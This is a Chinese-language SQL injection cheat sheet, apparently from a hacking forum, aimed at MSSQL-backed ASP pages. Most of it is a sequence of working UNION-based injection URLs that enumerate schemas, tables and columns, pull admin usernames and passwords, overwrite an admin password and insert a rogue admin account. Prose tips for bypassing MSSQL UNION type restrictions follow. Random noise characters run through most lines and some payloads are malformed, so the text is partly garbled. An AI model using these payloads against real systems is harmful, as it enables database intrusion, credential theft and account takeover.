爆库:4 U2 u" C6 P5 Q
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
5 ]* O1 B& V6 m* _8 Z% E5 |+ m' kSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.& {: i/ N. i8 u% z' a
爆下一个库:$ Y! t2 e& ]6 j1 U8 n/ z2 z" v
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
; I8 J& _, Q0 u* U9 {' x
2 u) q. n3 b1 M3 q1 |7 u爆表:" B8 n: @: P7 \+ Z. N. S
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
5 }0 i( e5 O7 Q: ^; p L7 |9 ~9 _2 O; U5 ~- r
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.9 e" |1 k b; g! [8 w0 Y
; V: K$ y" y( B) m7 w% r7 _3 a* x
爆下一个表6 P/ q9 e5 a: L
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
- F2 C/ B) i; m% o/ K5 g% f
6 O R% ]$ U' Lhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--1 ?2 y$ ?& M( C: s8 ]! ^9 H1 y
9 t' x* ?5 z2 @% J3 e- W' Q8 e' r
' c" ]! K& j) g6 r! c! U8 V) y7 r: @4 J3 z3 G$ `2 h+ I% M
爆字段:
' ?$ r$ E8 ~& m# p& Chttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
7 V1 ^' T& Z, j! o
2 i8 k/ k- c7 L9 J# m' J ?爆下一个字段
/ c6 {: v0 Q; i! d" K# Ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
m+ i; M. ~7 g% M8 g5 L+ c
7 }7 w7 j e; {# f8 Q' d8 m; I7 Ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
% J/ d" u$ t0 ?0 O& d/ s8 j" j5 J ]* _( z8 b& B
' C/ w) w6 @1 @+ |9 p E8 L) ?. }
爆字段里的内容
! `" O( e0 j# M0 Y) h% Mhttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
4 e' _2 }5 V: c$ W$ }9 e
. W; z8 F* k) r) ?http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--6 Z( } s0 n6 j
3 B- F' T6 T. ] ?2 _1 Z
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--$ R$ x1 I5 Y( B5 N4 i( u2 f4 T4 b
* |; f! R! a( V$ K+ ehttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
! p0 P: P. X6 k4 F" J$ y3 Y# a# \) V/ ?2 G
更新字段里的内容
# B0 i8 Y% ?7 `- c( ^http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
* O3 E& w/ c: [0 g. y3 r* _
+ f& b0 }& G3 f8 K+ I( g. S& w6 phttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
- ]2 |2 ?) z( a+ [, a0 @ F$ v+ P1 Y6 y. L e8 [4 ]4 ]
) @0 N# H& i- k9 U K6 Z' |
; A% g8 o9 Z. H" X* R& j8 V) P 在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。5 y& v" C c# I
第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
9 S ~* Y$ [6 P: B' P {9 Z 第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。! l9 E9 D ~0 d0 h/ X
最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。2 b' r' k U4 W4 C# \+ H! }; o
" I+ R3 n6 m! @ a
突了了大部份限制的语句
+ {9 R. o3 m" T% Gand 1=2 union all select char(49),char(50),null,null;--
0 o1 s! L$ E" ]+ l2 Q" N5 [; H6 ]7 \
; {( E( w$ v' j! D* x7 ^* j. N& N
: h C0 q* q9 y' p8 znull也可以正常执行,不过没有回显,不好判断回显的列数。
: O9 W) r, F1 j3 H' m! q8 ~! A5 P一般union遇到问题都是有text或者ntext字段,image的很少遇到9 s* l! b9 o$ ^
% S% S! _9 K7 I0 g& P* e/ [4 @
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟3 p$ ^+ ^, V8 @1 f
) a+ }- q9 x: e. w4 r. \ W) C ~! U# G) b9 k- Z- u+ s2 k
|